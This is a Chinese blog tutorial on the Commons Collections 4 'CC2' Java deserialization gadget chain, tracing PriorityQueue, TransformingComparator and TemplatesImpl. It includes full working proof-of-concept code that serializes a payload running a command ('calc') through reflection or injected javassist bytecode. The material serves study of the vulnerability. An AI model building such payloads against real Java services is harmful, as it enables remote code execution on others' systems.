CommonsCollections2利用链学习

环境搭建

依赖commmonscollections4(3.1中TransformingComparator没有继承自Serializable所以无法进行Java反序列化)

pom.xml

1
2
3
4
5
6
7
8
9
10
11
 <dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>

<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.25.0-GA</version>
</dependency>

前置知识

javasist

用于生成字节码

先在pom.xml添加依赖

1
2
3
4
5
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.25.0-GA</version>
</dependency>

demo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;

public class JavassistTest {
public static void main(String[] args) throws Exception {

//ClassPool是一个CtClass对象的容器,一个CtClass必须从中进行获取,ClassPool.getDefault()返回默认的类池
ClassPool pool = ClassPool.getDefault();
//添加类搜索路径
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
//创建名为Evil的类
CtClass test = pool.makeClass("Evil");
String name = "Evil" + System.nanoTime();
test.setName(name);
//定义要插入的字节码
String cmd = "System.out.println(\"Hello,Javasist\");";
//设置要继承的类
test.setSuperclass(pool.get(AbstractTranslet.class.getName()));
//创建一个空的类初始化器(静态构造函数)
CtConstructor constructor = test.makeClassInitializer();
//将字节码插入到开头
constructor.insertBefore(cmd);
//将编译的类创建为`.class` 文件
test.writeFile("./");

}
}

可以看到生成了一个class文件

Rj9r6K.png

.class文件的内容

Rj9Dl6.png

ClassLoader#defineClass

ClassLoader是Java的类加载器,主要用于加载字节码

利用类加载器的defineClass方法来加载字节码,但是由于ClassLoader#defineClass方法是protected所以无法直接从外部进行调用,只能通过反射来调用这个方法

1
2
3
4
5
Class clas = Class.forName("java.lang.ClassLoader");
Method defineclass = clas.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
defineclass.setAccessible(true);
Class claz = (Class) defineclass.invoke(ClassLoader.getSystemClassLoader(),"Evil",bytes,0,bytes.length);
claz.newInstance();

TemplatesImpl

在TemplatesImpl类中定义了一个内部类TransletClassLoader,在这个类中对loadClass进行了重写并且可以被外部进行调用,可以被用来加载字节码

两个要求

  1. 要利用反射设置这四个属性
  2. javasist生成的代码要继承自AbstractTranslet

利用TemplatesImpl来加载字节码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.*;

import java.lang.reflect.Field;

public class TemplatesTest {
public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass clas = pool.makeClass("TempTest");

clas.setSuperclass(pool.get(AbstractTranslet.class.getName()));

String cmd = "System.out.println(\"Templates Test\");";
CtConstructor constructor = clas.makeClassInitializer();
constructor.insertBefore(cmd);
clas.writeFile("./");

byte[] bytes = clas.toBytecode();

TemplatesImpl templates = TemplatesImpl.class.newInstance();

Class temp = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
Field _name = temp.getDeclaredField("_name");
_name.setAccessible(true);
_name.set(templates,"tttt");
setFieled(templates,temp,"_name","tttt");
setFieled(templates,temp,"_class",null);
setFieled(templates,temp,"_bytecodes",new byte[][]{bytes});
setFieled(templates,temp,"_tfactory",new TransformerFactoryImpl());

templates.getOutputProperties();
}

public static void setFieled(TemplatesImpl templates,Class clas ,String fieled,Object obj) throws Exception{
Field _field = clas.getDeclaredField(fieled);
_field.setAccessible(true);
_field.set(templates,obj);
}
}

Rj9BSx.png

成功加载了生成的class文件

Rj9sOO.png

触发过程

Rj96mD.png

为什么要先用反射设置属性?

在getTransletInstance中,需要满足条件_name!==null_class==null才能进入defineTransletClasses

Rj9c0e.png

进入defineTransletClasses,_bytecodes的值为被加载的字节码

Rj9Rkd.png

为什么javasist生成的代码要继承自AbstractTranslet?

defineTransletClasses中存在对父类的判断,父类不是ABSTRACT_TRANSLET的时候会报错。所以在生成字节码的时候需要设置父类

Rj9gTH.png

利用链

TransformingComparator

分析

org.apache.commons.collections4.comparators.TransformingComparator#compare

漏洞起点是TransformingComparator.compare(),其中触发了transform方法

Rj9WtA.png

org.apache.commons.collections4.comparators.TransformingComparator#TransformingComparator

this.transformer可控,来源于构造函数中传入的transform参数

Rj9ffI.png

接下来就跟之前一样了,由于我们可以调用任意类的transform方法,只需在构造方法中传入构造好的ChainedTransforme然后触发反射链执行命令

Rj94pt.png

接下来我们需要找到能触发TransformingComparator.compare()并 且传入参数可控的点

条件:

  1. 能触发TransformingComparator.compare()
  2. 传入compare函数的参数可控,这样才能传入ChainedTransformer执行反射链

PriorityQueue(执行命令)

分析

java.util.PriorityQueue#readObject

这里对传入参数ObjectInputStream进行反序列化,然后赋值给queue数组

Rj951P.png

queue是属性,可以使用反射修改它,所以queue可控

Rj9b7Q.png

java.util.PriorityQueue#heapify

接下来进入 heapify() 函数,这里的queue跟上面一样,也是可控的

Rj9I6f.png

java.util.PriorityQueue#siftDown

继续来看 siftDown() 函数,如果comparator不为null,那么就会进入siftDownUsingComparator() 函数,此时x可控

Rj9oX8.png

java.util.PriorityQueue#siftDownUsingComparator

调用comparator的compare函数, 这里的 x 就是上面传进来的queue,是可控的。利用反射让comparator等于TransformingComparator就可以调用TransformingComparator.compare()。同时x可控,这样就可以利用 InvokerTransformer 触发任意类的任意方法。

Rj97nS.png

poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
public class Test {
public static void main(String[] args) throws Exception{

//构造ChainedTransformer
ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, new Object[]{"calc"})});

//通过构造函数给this.transformer赋值
TransformingComparator transformingComparator = new TransformingComparator(chain);
//也可通过构造函数直接进行传入
//PriorityQueue queue = new PriorityQueue(1,transformingComparator);

PriorityQueue queue = new PriorityQueue(1);
queue.add(1);
queue.add(2);

//利用反射给comparator赋值为 TransformingComparator,触发TransformingComparator.compare()
Field field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
field.setAccessible(true);
field.set(queue,transformingComparator);

try{
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("evil.bin"));
outputStream.writeObject(queue);
outputStream.close();

ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("evil.bin"));
inputStream.readObject();
}catch(Exception e){
e.printStackTrace();
}

}
}

可以执行命令

Rj9x10.png

流程

Rj9Ots.png

为什么这里queue要添加两个元素?

如果只添加一个的话,最终结果会为-1从而无法进入siftDown函数

Rj9H0g.png

执行代码

上面这种方法仅仅能执行命令,危害不足。cc2中可以通过利用javasist 和 TemplatesImpl,加载字节码来进行执行代码。

思路:

  1. 先利用javasist生成字节码
  2. 利用上面的InvokerTransformer触发TemplatesImplnewTransformer 从而读取恶意字节码从而进行执行命令
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.util.PriorityQueue;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;

public class CommonCollection2 {
public static void main(String[] args) throws Exception {
//利用javassist生成字节码
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass cc = pool.makeClass("Cat");
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
cc.makeClassInitializer().insertBefore(cmd);
String randomClassName = "EvilCat" + System.nanoTime();
cc.setName(randomClassName);
cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));

byte[] classBytes = cc.toBytecode();
byte[][] targetByteCodes = new byte[][]{classBytes};

//构造InvokerTransformer触发TemplatesImpl的newTransformer
Constructor constructor = Class.forName("org.apache.commons.collections4.functors.InvokerTransformer")
.getDeclaredConstructor(String.class);
constructor.setAccessible(true);
InvokerTransformer transformer = (InvokerTransformer) constructor.newInstance("newTransformer");



//设置TemplatesImpl的三个属性
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setFieldValue(templates, "_bytecodes", targetByteCodes);
setFieldValue(templates, "_name", "name");
setFieldValue(templates, "_class", null);

//设置PriorityQueue的queue属性
PriorityQueue queue = new PriorityQueue(1);
Object[] queue_array = new Object[]{templates,1};
Field queue_field = Class.forName("java.util.PriorityQueue").getDeclaredField("queue");
queue_field.setAccessible(true);
queue_field.set(queue,queue_array);

//设置PriorityQueue的size属性
Field size = Class.forName("java.util.PriorityQueue").getDeclaredField("size");
size.setAccessible(true);
size.set(queue,2);

//利用反射给PriorityQueue的comparator属性赋值为 TransformingComparator,触发TransformingComparator.compare(),执行代码
TransformingComparator comparator = new TransformingComparator(transformer);
Field comparator_field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
comparator_field.setAccessible(true);
comparator_field.set(queue,comparator);

//模拟反序列化
try{
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc2"));
outputStream.writeObject(queue);
outputStream.close();

ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc2"));
inputStream.readObject();
}catch(Exception e){
e.printStackTrace();
}

}

public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
field.set(obj, value);
}

public static Field getField(final Class<?> clazz, final String fieldName) {
Field field = null;
try {
field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
}
catch (NoSuchFieldException ex) {
if (clazz.getSuperclass() != null)
field = getField(clazz.getSuperclass(), fieldName);
}
return field;
}
}

com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#compare

调用设置好的InvokerTransformer的transform,反射调用newTransformer

Rj9Xhn.png

com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#newTransformer

进入getTransletInstance

Rj9vpq.png

com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#getTransletInstance

先用defineTransletClasses加载字节码,把得到的类赋值给_class,然后执行newInstance,把_class实例化

RjC9nU.png

com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#defineTransletClasses

加载_bytecodes中的字节码

RjCSXT.png

RjCCBF.png

成功执行

Rj9zcV.png

参考链接

http://wjlshare.com/archives/1509


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!